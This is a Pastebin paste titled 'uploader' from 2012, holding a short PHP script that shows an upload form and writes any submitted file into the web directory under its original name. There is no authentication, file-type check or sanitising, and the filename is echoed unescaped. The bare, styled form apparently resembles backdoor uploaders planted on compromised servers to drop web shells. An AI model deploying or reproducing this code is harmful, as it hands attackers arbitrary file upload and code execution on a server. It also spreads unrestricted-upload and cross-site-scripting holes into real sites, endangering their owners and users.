Advertisement
r13y5h4

uploader

Dec 26th, 2012
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.78 KB | None | 0 0
  1. <?php
  2. echo "<body bgcolor=black>
  3. <font color=cyan size=3>";
  4. echo "<h2></h2><hr>";
  5.     echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  6. <label for=\"file\"> </label>
  7. <input type=\"file\" name=\"file\" id=\"file\" />
  8. <br />
  9. <input type=\"submit\" name=\"submit\" value=\"Upload\">
  10. </form>";
  11.   {
  12.   echo " " . $_FILES["file"]["name"] . "<br />";
  13.   echo " " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  14.   echo " " . $_FILES["file"]["tmp_name"];
  15.   }
  16. if (file_exists("" . $_FILES["file"]["name"]))
  17.       {
  18.       echo $_FILES["file"]["name"] . " already exists. ";
  19.       }
  20.     else
  21.       {
  22.       move_uploaded_file($_FILES["file"]["tmp_name"],
  23.       "" . $_FILES["file"]["name"]);
  24.       echo " " . "" . $_FILES["file"]["name"];
  25. echo"<hr>";
  26.       }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement